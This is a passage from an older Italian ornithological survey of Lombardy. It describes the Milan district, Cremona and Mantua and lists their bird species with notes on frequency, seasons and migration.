contadinelli il rispetto alle leggi che in proposito sarebbero da emanarsi e far conoscere loro come la conservazione degli uccelli stia nell’interesse dell’agricoltura. Qui l’opera sarà lunga e difficile, ma ogni cosa ha un principio. I preti, se volessero, o sapessero, potrebbero far molto. — Le Rondini sono dette gli uccelli della Madonna e i loro nidi sono i soli per lo più rispettati nelle campagne. Potrebbero inspirare lo stesso rispetto anche per gli altri uccelli. Ma... Insomma bisogna in qualche modo togliere l'abuso della distruzione dei nidi ed inspirare sentimenti gentili ed umanitari a questa massa di futuri elettori ed eleggibili. Le seguenti specie di uccelli nidificano in questa località. (Brambilla). Corvus Cornix. Pica rustica. Garrulus glandarius. Sturnus vulgaris. Fringilla coelebs. Passer montanus. Passer Italiæ. Ligurinus Chloris. Carduelis elegans. Emberiza Hortulana. Alauda arborea. Alauda arvensis. Motacilla alba. Merula nigra. Turdus viscivorus. Aëdon Luscinia. Monachus Atricapillus. Parus major. Sitta cæsia. Certhia brachydactyla. Oriolus Galbula. Lanius Collurio. Hirundo rustica. Chelidon urbica. Cypselus Apus. Caprimulgus europæus. Picus major. Gecinus viridis. Iynx Torquilla. Cuculus canorus. Upupa Epopis. Strix flammea. Syrnium Aluco. Athene Noctua. Scops Giu. Buteo vulgaris. Cerchneis Tinnunculus. Accipiter Nisus. Columba Palumbus. Turtur tenera. Starna Perdix. Coturnix communis. Milano, distretto Medio Milanese: Monza, Barlassina, Saronno, Rho (Magretti Giuseppe): Il distretto nel quale pratico le mie caccie ed osservazioni ornitologiche, giace nel medio milanese cioè a circa 10 chilometri al N. di Milano. Confina ad E. con Monza e Desio e colle prime appendici briantee di Seregno e Carate; al N. e N. O. con Barlassina e Saronno, all'O. con Busto-Arsizio, a S. con Legnago, Nerviano e Rho. È una plaga a perfetta pianura, in gran parte coltivata, pochi essendo oramai i boschi lasciativi a ricordo dei tempi andati. Il terreno è molto frazionato per il sistema di colonia e quindi coltivato con molta solerzia e cura. Questa plaga comprende tuttavia ancora, e specialmente nei dintorni di Saronno, Barlassina, Osate e Garbagnate, le così dette gruane o brughiere o geologicamente parlando, la regione post-glaciale denominata del ferretto o delle argille rosse. Anche qui alla brughiera estesa e nuda ove alcuni anni indietro non cresceva che l'Erica, si andarono sostituendo a poco a poco molte piantagioni di Pinus sylvestris che vi crescono in breve tempo, queste pure frastagliate da piccoli tratti dissodati ove vien praticata la coltivazione a cereali. Elenco delle specie di uccelli osservate nella provincia di Milano, distretto Medio Milanese: Monza, Barlassina, Saronno, Rho; con indicazioni di frequenza, ecc. Chrysomitris Spinus. Di passo in aprile e settembre; raro. Cannabina Linota. Di passo nella prima metà di aprile ed ottobre; raro. Pyrrhula europaea. Passa nella seconda metà di novembre; scarso. Loxia Curvirostra. Passa più o meno frequente nella prima metà di agosto. Miliaria Projer. Passa, non sempre abbondante, nella seconda metà di novembre. Emberiza Hortulana. Passa abbondante nella prima metà di agosto. Emberiza Schoeniclus. Scarso, passa nella prima metà di aprile ed in ottobre. Alauda arvensis. Passa più o meno frequente nella prima metà di novembre. Anthus pratensis. Più o meno abbondante di passo in aprile ed ottobre. Anthus Spipoletta. Più o meno frequente di passo in aprile ed ottobre. Anthus trivialis. Di passo più o meno abbondante nella prima metà di settembre. Saxicola Oenanthe. Frequente di passo nella prima metà di aprile e settembre. Turdus pilaris. Di passo più o meno abbondante nella seconda metà di marzo e novembre. Turdus iliacus. Più o meno frequente di passaggio in aprile ed ottobre. Turdus musicus. Più o meno abbondante di passaggio in aprile ed ottobre. Ruticilla Phœnicurus. Ora più o meno frequente di passo nella prima metà di aprile e settembre. Anas Boscas. Non frequente di passo nella prima metà di febbraio ed ottobre. Spatula clypeata. Non abbondante di passo nella prima metà di aprile. Dafila acuta. Non frequente di passo nella prima metà di febb. Mareca Penelope. Non abbondante di passo nella seconda metà di marzo. Nettion Crecca. Frequente di passo nella seconda metà di marzo. Querquedula Circia. Abbastanza frequente di passo in marzo e settembre. Fulix ferina. Non molto frequente di passo nella seconda metà di marzo. Columba livia. Abbondante di passo nella prima metà di marzo ed ottobre. Rallus aquaticus. Non abbondante di passo nella prima metà di aprile ed ottobre. Ortygometra Porzana. Non abbondante di passo nella prima metà di febbraio e settembre. Crex pratensis. Di passo non abbondante in aprile e settembre. Fulica atra. Non abbondante di passo in marzo e settembre. Cedrornis scolopax. Non frequente di passo nella prima metà di marzo ed ottobre. Charadrius Pluvialis. Ora raro assai di passaggio in marzo e settembre. Vanellus Capella. Frequente di passo in marzo e settembre. Machetes Pugnax. Ora raro, di passo in marzo e settembre. Totanus Ochropus. Poco frequente di passo in marzo e settembre. Totanus fuscus. Non comune, di passo in marzo e settembre. Scolopax Rusticula. Talvolta frequente, di passo nella prima metà di marzo ed ottobre. Gallinago major. Raro, di passo in marzo, aprile e settembre. Gallinago caelestis. Talvolta frequente, di passo in marzo, aprile e settembre. Gallinago Gallinula. Talvolta frequente, di passo in marzo, aprile e settembre. Cremona (Ferragni Odoardo). La provincia di Cremona situata si può dire al mezzogiorno della Lombardia, è bagnata da fiumi importantissimi, che limitano il suo territorio da due lati: così l'Adda ne contermina la parte occidentale e scende a mescolarsi col Po, il quale segue tutto il suo lato meridionale sino al di là di Casalmaggiore; mentre ad oriente l'Oglio segna per lunghi tratti il nostro confine risalendo sino oltre Soncino ove la parte alta della nostra provincia si unisce col finitimo territorio di Bergamo, e quivi ancora accoglie nel suo grembo le acque del Serio, che scendono a confondersi con quelle dell'Adda poco al disopra di Gombito. Il terreno vi è ovunque piano e atto alla coltivazione dei migliori cereali, se ne togli la zona prossima ai fiumi che mostrasi coperta di boschi e alquanto accidentata a motivo delle gravi alluvioni succedutevi allorquando nessuna diga poneva ritegno allo irrompere delle fiumane. Quivi s'incontrano terreni elevati, aridi e ghiaiosi e conseguenti terre basse e fangose che già furono letto di correnti disalveate. Così presso il Serio i mosi occupanti vastissimo spazio, lungo l'Adda le gerre volgarmente dette mortazza e le propinque vastissime basse che molto s'internano; lungo il Po qua e là stagni e gore (Po morto di Brancare, Lancone della Gussola ecc.) che pure s'incontrano tratto tratto lungo l'Oglio (Oglio morto ecc.). Però questi luoghi furono poco alla volta in gran parte guadagnati all'agricoltura e convertiti in fertili risaie, in boschi cedui, in vigneti ecc. e così con assidua vicenda il nostro territorio in breve volgere di anni diverrà un immenso piano coltivato, ove una fitta rete di canali e di acque porteranno ovunque la vegetazione e la ricchezza. Il clima vi è piuttosto vario; nell'estate non di rado il sole riarde la terra con raggi infuocati proprii all'Italia meridionale e talvolta nell'inverno il termometro scende notevolmente sotto il zero gelando gli stagni ed anco le acque correnti. **Elenco generale delle specie di uccelli osservate nella provincia di Cremona, con indicazioni di frequenza, ecc.** *Corvus Corone.* Non comune, invernale. *Corvus Cornix.* Piuttosto frequente e sedentaria. *Corvus frugilegus.* Abbondante dall'ottobre al marzo; non nidifica in provincia. *Lycos Monedula.* Accidentale nell'inverno. *Nucifraga Caryocatactes.* Accidentale. *Pica rustica.* Comune e stazionaria. *Garrulus glandarius.* Comune e stazionaria; molte giungono nell'autunno. --- 1 Queste notizie sono tolte dall'opera pregievole pubblicata dal signor O. Ferragni, intitolata *Avifauna Cremonese*, Cremona, 1885, e dai *Supplementi* successivi. Pyrrhocorax alpinus. Accidentale. Sturnus vulgaris. Comune e nidificante, pochi rimangono a svernare. Pastor roseus. Avuto il 25 agosto 1881 e nell’ottobre 1884. Fringilla coelebs. Comune, stazionario e di copioso passaggio. Fringilla Montifringilla. Invernale, non comune. Petronia stulta. Rara, invernale. Passer montanus. Abbondante e stazionaria. Passer Italicae. Frequenti e stazionaria. Coccothraustes vulgaris. Comune e stazionario. Ligurinus Chloris. Abbondante, pochi rimangono a svernare. Chrysomitris Spinus. Di passaggio irregolare. Carduelis elegans. Abbondante e stazionario. Serinus hortulanus. Di scarso passaggio in ottobre e novembre soltanto. Cannabina Linota. Puramente invernale. Ægiothus Linarius. Avuto nell’ottobre 1881 un solo esemplare. Pyrrhula europaea. Invernale, non comune. Loxia Curvirostra. Avventizio. Miliaria Projer. Stazionario, ma più abbondante nell’inverno. Emberiza Citrinella. Stazionario ma più abbondante nell’inverno. Emberiza Cirlus. Invernale, non comune. Emberiza Hortulana. Estivo, nidificante in abbondanza. Emberiza Cia. Di rara comparsa. Emberiza Schœniclus. Abbondante tra ottobre e aprile. Emberiza pyrrhuloïdes. Di scarso passaggio. Calcarius lapponicus. Accidentale. Calcarius nivalis. Raro assai. Calandrella brachydactyla. Avventizia. Alauda arborea. Sedentaria e abbondante alle epoche del passo; nidifica al piano. Alauda arvensis. Abbondante, stazionaria e di passo. Galerita cristata. Stazionaria, ma divenuta scarsa. Agrodroma campestris. Scarso di passo in autunno. Anthus pratensis. Abbondante tra settembre e aprile. Anthus cervinus. Scarsa, avuta in ottobre 1882, di passo autunnale. Anthus trivialis. Di passaggio in aprile e autunno. Anthus Spipoletta. Invernale, non comune. Budytes flavus. Di scarso passaggio in primavera, più abbondante nell'autunno. Budytes cinereocapillus. Estiva e nidificante in maggiore o minore abbondanza; giunge in aprile, parte tra il settembre e la prima metà del novembre. Motacilla alba. Comune e sedentaria, di passo abbondante. Calobates melanope. Invernale, non abbondante. Saxicola Oenanthe. Di scarso passo in primavera, di passo abbondante in autunno. Merula nigra. Sedentario e di passo abbondante. Merula torquata. Avventizio. Turdus pilaris. Invernale, non sempre abbondante. Turdus iliacus. Invernale e di scarso doppio passo. Turdus musicus. Invernale e di doppio passaggio. Turdus viscivorus. Sedentaria e di passo. Aëdon Luscinia. Estivo e abbondante. Erithacus Rubecula. Invernale ed abbondante. Cyanecula Wolfi. Raro, di doppio passaggio. Ruticilla Phœnicurus. Estivo e comune, nidifica in abbondanza al piano. Ruticilla titys. Capita in autunno, ma è raro. Pratincola Rubicola. Sedentario, più comune d'estate. Pratincola Rubetra. Scarso di doppio passaggio. Sylvia nisoria. Estiva, assai comune e nidificante. Sylvia orphæa. Avventizia. Sylvia cinerea. Estiva e comunissima. Sylvia Curruca. Avventizia nell'autunno. Sylvia subalpina. Rara e dubbiosa. Sylvia nana. Accidentale. Monachus Atricapillus. Comune ed estiva. Monachus hortensis. Estivo e non comune. Phylloscopus sibilator. Comune, di doppio passo e molto probabilmente nidificante. Phylloscopus Trochilus. Raro, di passo soltanto. Phylloscopus Bonellii. Estivo, ma non comune. Phylloscopus rufus. Invernale, forse anche sedentario. Hypolais icterina. Di passaggio e non comune. Hypolais polyglotta. Estivo, ma non abbondante. Acrocephalus palustris. Estiva, nidificante, ma rara. Acrocephalus streperus. Estiva, ma scarsa. Acrocephalus arundinaceus. Estivo comunissimo. Calamodus schoenobænus. Estivo e di passo. Calamodus aquaticus. Di doppio passaggio, forse nidificante. Locustella naevia. Raro; ne uccisi uno il 23 settembre 1883 a Cava Tigozzi. Cisticola cursitans. Dubbioso. Troglodytes parvulus. Invernale, anco nidificante. Cinclus aquaticus. Accidentale. Accentor collaris. Avventizio. Accentor modularis. Invernale e rarissima. Regulus cristatus. Invernale e comune. Regulus ignicapillus. Invernale, meno comune. Ægithalus pendulinus. Comune da marzo ad ottobre. Acredula caudata. Rara, invernale. Acredula rosea. Frequente nell’autunno ed inverno. Acredula Irbyi. Stazionaria, più comune durante il passo. Parus major. Comune e sedentaria, anche di passo. Parus ater. Invernale e rara. Cyanistes cæruleus. Comune e sedentaria, anche di passo. Pœcile palustris. Comune e stazionaria. Sitta cæsia. Stazionario, più abbondante d’estate. Certhia brachydactyla. Sedentario. Tichodroma muraria. Invernale, assai raro. Oriolus Galbula. Estivo e comune. Lanius Excubitor. Non rara da ottobre a marzo. Lanius minor. Comune ed estiva. Lanius Collurio. Comune ed estiva. Lanius auriculatus. Di passo, pochi nidificano. Muscicapa Atricapilla. Di passaggio regolare in aprile e maggio, non osservato al ripasso. Butalis Grisola. Estivo e comune. Hirundo rustica. Estiva e abbondante. Chelidon urbica. Estivo e abbondante. Clivicola riparia. Estivo e abbondante. Cypselus Apus. Estivo e abbondante. Cypselus Melba. Avventizio in seguito a burrasche. Caprimulgus europaeus. Estivo e comunissimo. Picus major. Stazionario e comune. Picus minor. Di scarso passaggio. Gecinus viridis. Comune e sedentario. Iynx Torquilla. Estivo ed abbondante. Cuculus canorus. Estivo e comune. Alcedo Ispida. Sedentario e comune. Coracias Garrula. Accidentale, una venne colta ad Alfiano nel settembre 1884. Merops Apiaster. Di passaggio, era una volta più comune. Upupa Epopos. Estiva e piuttosto comune, giunge in marzo e talvolta in febbr., parte e ripassa in agosto e settem. Strix flammea. Comune e sedentario. Syrnium Aluco. Autunnale, forse nidificante. Asio Otus. Puramente invernale. Asio accipitrinus. Di passo regolare in autunno, sett. a nov. Athene Noctua. Sedentaria; alcuni emigrano. Scops Giu. Puramente estivo. Bubo maximus. Di rara comparsa nell'autunno. Circus aeruginosus. Accidentale in primavera. Circus cyaneus. Di scarso passaggio in aprile e novembre. Pandion Haliaëtus. Di passaggio regolare in marzo ed aprile, più di raro nel settembre. Haliaëtus Albicilla. Accidentale. Aquila Chrysaëtus. Di rara comparsa. Aquila clanga. Accidentale. Buteo vulgaris. Comune e stazionaria, ma più abbondante nell'autunno ed inverno. Milvus migrans. Di scarso, ma regolare passaggio nel maggio; tre veduti a Spinadesco il 6 maggio 1883, parecchi nel maggio 1884 e 1885. Falco Peregrinus. Accidentale nell’autunno. Hypotriorchis Subbuteo. Di scarso passaggio in marzo ed aprile e nel settembre e ottobre. Æsalon regulus. Di scarso passaggio. Cerchneis Tinnunculus. Comune e sedentario, diventa erratico nell’inverno. Cerchneis Naumannni. Di scarso passaggio, forse nidificante giacchè fu veduto lungo il Po il 15 luglio 1883. Cerchneis vespertinus. Di passo regolare in primavera. Accipiter Nisus. Comune di passo e nell’inverno. Pelecanus Onocrotalus. Accidentale, nell’agosto 1877 un branco di 32 si posò su di un’isoletta all’imboccatura dell’Adda; tre vennero uccisi. Phalacrocorax Carbo. Di rara comparsa. Ardea cinerea. Comune dall’agosto al maggio. Ardea purpurea. Raro, giunge in aprile e maggio e forse rimane a nidificare. Egretta alba. Di casuale comparsa. Egretta Garzetta. Di casuale comparsa. Ardeola ralloides. Di raro passaggio in aprile e maggio. Ardetta minuta. Estivo e assai comune. Botaurus stellaris. Invernale, e di doppio passo. Nycticorax griseus. Di passo non abbondante, ma regolare dal marzo al giugno, ed in autunno, seconda metà di luglio, al settembre. Ciconia alba. Accidentale in marzo ed aprile. Ciconia nigra. Rara, osservata in agosto e settembre 1882 e 1883; ne ebbi una il 14 agosto ed un’altra il 1° settembre 1882, entrambe uccise sul Po. Platalea Leucorodia. Accidentale. Plegadis Falcinellus. Accidentale nel maggio. Cygnus Olor. Accidentale nell’inverno. Cygnus musicus. Raro nei rigidi inverni; l’ultimo preso fu un maschio adulto, ucciso sull’Oglio nel febbraio 1880. Anser cinereus. Rara nell’inverno. Anser segetum. Di passo regolare in novembre e dicembre, e nel marzo ed aprile; pochi rimangono a svernare. Anser albifrons. Accidentale nell’inverno. Anser erythropus. Accidentale nell’inverno. Tadorna cornuta. Accidentale. Anas Boscas. Sedentaria, ma specialmente abbondante durante l’inverno ed alle epoche del passo in ottobre e novembre e nel marzo. Chaulelasmus streperus. Rara, invernale. Spatula clypeata. Piuttosto comune nell’inverno ed alle due epoche del passo; quello primaverile ha luogo dal marzo al maggio. Dafila acuta. Invernale e comune, ma abbonda di più durante il passo primaverile. Mareca Penelope. Invernale, ma più copioso alle epoche del passo, in novembre e marzo. Nettion Crecca. Abbondantissima dall’autunno alla primavera, e in scarso numero nidificante. Querquedula Circia. Abbondante, ma soltanto durante il passo primaverile in marzo ed aprile. Fuligula rufina. Avventizio nell’inverno. Fulix ferina. Invernale, ma specialmente di passaggio in ottobre e novembre, e febbraio e marzo. Fulix Fuligula. Di doppio passaggio, qualche anno abbondante nel marzo. Fulix Nyroca. Rara nell’autunno e nell’inverno, ma talora di passaggio copioso in primavera. Bucephala Clangula. Raro nell’inverno. Œdemia nigra. Accidentale nell’autunno. Mergus Merganser. Invernale; ogni anno capitano sul Po. ma sono quasi sempre giovani. Mergus Serrator. Raro di doppio passaggio, nel tardo autunno e nell’aprile. Mergellus Albellus. Invernale, sono scarsi gli adulti. Columba Palumbus. Di passaggio in marzo ed aprile ed in settembre ed ottobre, poche coppie rimangono a nidificare. Columba Oenas. Invernale, giunge in settembre e ottobre e parte o ripassa nel marzo. Columba livia. Dubbiosamente selvatici. Turtur tenera. Comune dalla metà d'aprile a quella di sett. Starna Perdix. Abbondante e sedentaria. Coturnix communis. Abbondante dall'aprile al novembre, poche rimangono a svernare. Rallus aquaticus. Stazionaria e nidificante. Ortygometra Porzana. Estivo e di copioso passaggio in autunno e primavera, forse anche sedentario. Ortygometra Bailloni. Estiva, ma non abbondante. Ortygometra parva. Poco comune di doppio passo, forse nidificante. Crex pratensis. Comune alle due epoche del passo, aprile-maggio, settembre-ottobre; qualche coppia rimane a nidificare. Gallinula chloropus. Stazionaria, più scarsa nell'inverno. Fulica atra. Stazionaria in scarso numero e di doppio passaggio; marzo ed aprile, e dal settembre al novembre. Grus communis. Di passaggio, ma di rado sosta. Otis Tarda. Di casuale comparsa. Edicnemus scolopax. Comune da marzo a novembre; non rimane a svernare. Charadrius Pluvialis. Di doppio passo pochi svernano. Squatarola helvetica. Di scarso passaggio; ne vidi uno ancora in abito nuziale il 20 agosto 1884, sul Po. Ægialitis cantiana. Avventizio, ne ebbi uno il 10 marzo 1885. Ægialitis curonica. Estivo e comunissimo; giunge verso il 20 marzo, nidifica e parte tra il settembre e l'ottobre. Ægialitis Hiaticula. Di scarso passaggio dal marzo al maggio e anche al giugno; più abbondante nel settembre. Vanellus Capella. Invernale e abbondante; arriva dopo la metà di ottobre e parte in marzo ed aprile. Forse qualche coppia rimane a nidificare giacché ne uccisi uno giovanissimo, che appena volava, il 7 luglio 1880, sul Po. Strepsilas Interpres. Veduto il 10 maggio 1885. Hæmatopus Ostralegus. Di rara comparsa in aprile. Recurvirostra Avocetta. Di rara comparsa. Himantopus candidus. Di casuale comparsa. Phalaropus hyperboreus. Accidentale. Limicola platyrhyncha. Di passaggio scarso ed irregolare; avuto nel settembre 1883 e nell'agosto e settembre 1884. Pelidna subarquata. Di passaggio regolare dalla fine di aprile al principio di giugno; non osservato in autunno. Pelidna alpina. Comune di doppio passaggio, in marzo e aprile ed in settembre ed ottobre, allora meno abbondante. Actodromas minuta. Di passo regolare in aprile, maggio e oltre la metà di giugno e dall'agosto all'ottobre. Actodromas Temmincki. Assai più raro della precedente, si vede nel maggio e nel settembre. Calidris Arenaria. Avventizia, avuta sul Po l'11 ottobre 1881. Machetes Pugnax. Di passaggio abbondante in marzo ed aprile; alcuni veduti il 4 giugno 1884, forse sono giovani che rimangono senza però riprodursi. Ripassa in minor numero in agosto e settembre. Tringoïdes Hypoleucus. Di doppio passaggio, dal marzo al maggio e dal luglio all'ottobre; qualche coppia rimane a nidificare. Totanus Ochropus. Sedentario, ma più abbondante alle epoche del passo; credo con certezza che qualcuno si riproduca da noi. Totanus Glareola. Passa in aprile e maggio e ripassa dal luglio al settembre. Totanus stagnatilis. Piuttosto raro, osservato nel maggio e nel giugno. Totanus Calidris. Di doppio passo ed invernale. Totanus fuscus. Piuttosto rara di doppio passaggio. Totanus nebularius. Comunissima durante il passo in aprile-maggio e agosto-settembre; è anche sedentaria, ma in scarso numero. Limosa melanura. Di scarso passo in marzo ed aprile. Limosa rufa. Avventizia. Scolopax Rusticula. Di doppio passaggio, dalla metà di ottobre alla metà di novembre e nel marzo. Qualcuna rimane l'inverno, e avrebbe anco nidificato, ciò avvenne lungo il Po nei boschi di Roncaglia nel maggio 1879. Gallinago major. Di doppio passaggio non abbondante. Gallinago caelestis. Giunge alla fine di luglio e sino al novembre, pochi rimangono l'inverno; il ripasso ha luogo dal febbraio all'aprile. Gallinago Gallinula. Arriva in settembre, sverna e ripassa o parte in marzo ed aprile. Numenius Arquata. Quasi in ogni stagione se ne vede, ma specialmente dal marzo al maggio e dall'agosto al novembre. Numenius Phaopus. Raro, veduto il 26 aprile 1885. Glareola Pratincola. Avventizia. Sterna fluviatilis. Giunge verso il 20 marzo, nidifica in abbondanza sulle isolette del Po, e parte in settembre. Sternula minuta. Arriva in maggio, nidifica in abbondanza sulle isolette del Po, e parte in settembre. Hydrochelidon hybrida. Accidentale, avuto il 18 maggio 1884. Hydrochelidon leucoptera. Giunge in maggio e non sempre è abbondante; non si ferma. Hydrochelidon nigra. Estivo, di passo abbondante in aprile e maggio, e dall'agosto all'ottobre; ha nidificato con certezza. Chroocephalus minutus. Accidentale. Chroocephalus ridibundus. Invernale e di passo copioso in marzo ed aprile ed in ottobre e novembre. Larus canus. Avventizia. Larus cachinnans. Accidentale nel dicembre. Stercorarius pomatorhinus. Avventizio; uno veduto nel febbraio, uno ucciso il 4 ottobre 1880. Stercorarius parasiticus. Accidentale, avuto un giovane ucciso sul Po il 23 settembre 1882. Colymbus arcticus. Rara nel tardo autunno od inverno. Colymbus septentrionalis. Di passaggio irregolare nell'autunno ed inverno. Podiceps cristatus. Raro da settembre a maggio. Podiceps griseigena. Accidentale, uno venne ucciso sul Po il 7 dicembre 1886; era una femmina. Podiceps nigricollis. Sedentario, ma non abbondante; pare nidifichi in provincia. Podiceps fluviatilis. Stazionario e con quasi certezza nidificante. Mantova (PAGLIA prof. Enrico): Il campo d’osservazione scelto di preferenza per queste note, è la valle dal Mincio, nei dintorni della città di Mantova. Essa è formata dall’avvallamento, dominato da alte terrazze alluvionali, per cui serpeggia il fiume Mincio nella direzione generale da ovest ad est, e nel centro del quale sopra varie isolette sorge la città. L’acqua del Mincio venne fino dal 1198 artificialmente sostenuta da dighe per modo da formare intorno alla città vasti specchi denominati: Lago superiore a ponente, Lago di mezzo a settentrione, e Lago inferiore a levante. A mezzodi si allarga la valle di Paiolo, pure artificialmente inondabile. Le sponde dei laghi suddetti sono largamente coperte da vegetazioni palustri e da boschi, sicuro ricetto di tante specie di uccelli e convegno dei cacciatori. Vasti canneti e giuncaie galleggianti orlano pure gli specchi d’acqua e si alternano ai paduli melmosi e ai praticelli torbosi ombrati da ontani e da salici. Le alte rive delle terrazze si distendono in campagne fruttuose, quali a suolo ghiaioso o calcare, aride ma ben lavorate, e quali in praterie irrigatorie e sconfinate risaie. I confini di tale plaga possono segnarsi presso a poco: a settentrione col canale d’irrigazione derivato dalla sinistra del Mincio a Pozzuolo, detto la Molinella; a levante dal corso inferiore del fiumicello Derbasco; a mezzodi da una linea che va dalle valli della Virgiliana a quella dell’Osone verso Montanara; e ad occidente dalla sponda elevata alla destra del Mincio superiore. Questa zona di terreno Elenco generale delle specie di uccelli osservate nella provincia di Mantova, con indicazioni di frequenza, ecc. Corvus Corone. Comune d'inverno. Corvus Cornix. Comune. Corvus frugilegus. Invernale. Lycos Monedula. Poco comune. Nucifraga Caryocatactes. Non rara. Pica rustica. Comune. Garrulus glandarius. Comune. Sturnus vulgaris. Comune. Pastor roseus. Qualche anno abbonda insieme alle cavallette a cui dà la caccia; nel 1860 comparve numeroso alle Grazie d'estate, ritornò nell'anno seguente poi più, fino al 1875 in cui sostò vari mesi a Villafranca. Fringilla coelebs. Comune, pochi svernano. Fringilla Montifringilla. Frequente. Montifringilla nivalis. Raro, preso a Castelgoffredo. Passer montanus. Frequente. Passer Italiae. Comune, spesso vedonsi casi d'isabellismo, più rari gli albinismi. Coccothraustes vulgaris. Comunissimo. Ligurinus Chloris. Comunissimo. Chrysomitrís Spinus. Frequente d'autunno. Carduelis elegans. Comunissimo. Serinus hortulanus. Comune. Cannabina Linota. Frequente. Il prof. Enrico Paglia in un suo lavoro intitolato Saggio di Studi Naturali sul territorio Mantovano, Mantova, 1877; pubblicava questo elenco, al quale ha ora fatto non poche rettifiche ed aggiunto. Ægiothus rufescens. Raro. Pyrrhula europæa. Poco frequente, rimane d’inverno. Loxia Curvirostra. Poco comune. Miliaria Projer. Comune. Emberiza Citrinella. Frequente. Emberiza Cirlus. Poco frequente. Emberiza Hortulana. Frequente d’estate. Emberiza Scheeniclus. Frequente. Calcarius nivalis. Non comune. Calandrella brachydactyla. Raro, preso a Medole. Alauda arborea. Comune. Alauda arvensis. Frequente. Galerita cristata. Comune. Agrodroma campestris. Comune. Corydalla Richardi. Accidentale; un esemplare si conserva nella collezione del conte d’Arco. Anthus pratensis. Comune. Anthus trivialis. Comune. Anthus Spipoletta. Comune. Budytes flavus. Comune. Motacilla alba. Comunissima. Calobates melanope. Comune. Saxicola Oenanthe. Non comune. Monticola Cyanus. Piuttosto rara. Merula nigra. Comunissimo anche d’inverno. Merula torquata. Non frequente. Turdus pilaris. Comune. Turdus iliacus. Comune. Turdus musicus. Invernale e di passaggio. Turdus viscivorus. Comune. Aëdon Luscinia. Comunissimo. Erithacus Rubecula. Comune. Cyanecula Wolfi. Raro. Ruticilla Phoenicurus. Comune. Pratincola Rubicola. Comune. Sylvia nisoria. Rara, presa a Castelgoffredo. Sylvia orphæa. Non comune. Sylvia cinerea. Poco comune. Sylvia Currucà. Frequentè. Monachus Atricapillus. Comune, estiva. Monachus hortensis. Comune. Phylloscopus Trochilus. Comune. Hypolais icterina. Poco comune. Acrocephalus streperus. Comune. Acrocephalus arundinaceus. Comunissimo, estivo. Calamodus schœnobænus. Arriva in aprile e parte in ottobre. Calamodus aquaticus. Specie estiva. Cettia Cettii. Non comune, estivo. Cisticola cursitans. Giunge in aprile, parte in settembre. Troglodytes parvulus. Frequentè d’inverno. Cinclus aquaticus. Comune sul lago di Mantova. Accentor collaris. Raro, preso a Castelgoffredo. Regulus cristatus. Comune. Regulus ignicapillus. Frequentè. Ægithalus pendulinus. Poco frequentè. Acredula rosea. Comune. Panurus biarmicus. Comune nei canneti ove nidifica. Parus major. Comunissima. Cyanistes cæruleus. Comune. Sitta cæsia. Comune. Certhia brachydactyla. Comune, annida ne’ fessi dei muri. Tichodroma muraria. Raro, preso a Medole. Oriolus Galbula. Estivo e comune. Lanius Excubitor. Comune. Lanius minor. Comune. Lanius Collurio. Comune. Lanius auriculatus. Piuttosto rara. Muscicapa collaris. Poco comune. Butalis Grisola. Piuttosto raro. Hirundo rustica. Comune dal marzo all’ottobre. Chelidon urbica. Comune dal marzo all’ottobre. Clivicola riparia. Abbondante nella buona stagione, nidifica negli argini e nelle rive. Cotile rupestris. Rara, presa a Castelgoffredo. Cypselus Apus. Comune, giunge dopo e parte prima delle Rondini. Caprimulgus europaeus. Frequente, estivo. Picus major. Comune. Picus minor. Comune. Gecinus viridis. Comune. Iynx Torquilla. Comune. Cuculus canorus. Comune tra aprile ed ottobre. Alcedo Ispida. Frequente e stazionario. Coracias Garrula. Rara, presa a Bozzolo. Merops Apiaster. Raro. Upupa Epopos. Comune, giunge in aprile e parte in ottobre. Strix flammea. Comune. Syrnium Aluco. Comune. Asio Otus. Poco-comune. Asio accipitrinus. Piuttosto raro. Athene Noctua. Comunissima. Scops Giu. Comune. Bubo maximus. Raro, preso presso Campione. Circus aeruginosus. Comune. Circus cyaneus. Accidentale. Pandion Haliaëtus. Poco comune, preso nel 1861 a Pietole. Haliaëtus Albicilla. Accidentale. Aquila Chrysaëtus. Avventizia, presa alla Virgiliana nel 1817. Aquila clanga. Rara, presa vicino a Mantova. Archibuteo lagopus. Rara, presa a Castelgoffredo. Buteo vulgaris. Comunissima. Milvus Ictinus. Di scarso passaggio in primavera. Milvus migrans. Assai raro, preso sul lago di Mantova. Falco Peregrinus. Piuttosto raro. Hypotriorchis Subbuteo. Nidifica in provincia. Æsalon regulus. Raro, preso a Castelgoffredo. Cerchneis Tinnunculus. Comune e sedentario. Cerchneis vespertinus. Rara, presa a Castelgoffredo. Accipiter Nisus. Comune. Gyps fulvus. Accidentale, preso a Buscoldo nel 1813 e a Formigosa nel 1885. Pelecanus Onocrotalus. Accidentale. Phalacrocorax Carbo. Accidentale, preso a Fellonica e sul lago di Mantova nel 1861. Microcarbo pygmaeus. Accidentale nel 1843. Ardea cinerea. Comune, nidifica nei canneti del lago superiore, di giorno va in cerca di cibo nelle risaie. Ardea purpurea. Comune sul lago. Egretta alba. Rara. Egretta Garzetta. Piuttosto rara, presa alla Rafaina; non nidifica da noi. Ardeola ralloides. Comune, si trattiene poco. Ardetta minuta. Comune, estivo e nidificante tra le canne. Botaurus stellaris. Comunissimo di primavera e d’autunno, scarso nell’inverno. Nycticorax griseus. Non molto comune. Ciconia nigra. Rara, presa a Castellaro. Plegadis Falcinellus. Raro. Cygnus musicus. Capita casualmente d’inverno sul lago di Mantova, se ne videro in Paiolo nel 1859. Anser cinereus. Di passaggio nell’inverno. Anser segetum. Non comune. Tadorna cornuta. Rara. Anas Boscas. Comunissimo; giunge in grandi stuoli al cominciare dell’inverno e si trattiene, alcuni partono in primavera, altri rimangono a nidificare. Chaulelasmus streperus. Comune; vive solitaria e nidifica deponendo da 8 a 9 uova. Spatula clypeata. Comune, ma non abbondante alle epoche del passo. Dafila acuta. Comune. Mareca Penelope. Comune, ma di solo passo. Nettion Crecca. Comunissima ai due passi, non è accertata la sua nidificazione in provincia. Querquedula Circia. Comune, ma soltanto di passo in primavera. Fuligula rufina. Raro, vive solitario e talvolta si ferma da noi l’estate. Fulix ferina. Invernale e comune. Fulix Marila. Piuttosto comune. Fulix Fuligula. Comune alle epoche del passo. Fulix Nyroca. Comune, qualcuna rimane a nidificare. Bucephala Clangula. Comune, più rari gli adulti. Œdemia fusca. Raro. Erismatura leucocephala. Raro. Mergus Merganser. Poco comune. Mergus Serrator. Comune, invernale. Mergellus Albellus. Comune, invernale, ma rimane poco. Columba Palumbus. Estivo e nidificante, non sverna. Columba Oenas. Sedentaria e di doppio passaggio. Turtur tenera. Estiva e comune. Syrrhaptes paradoxus. Accidentale nel 1876. Starna Perdix. Comune. Coturnix communis. 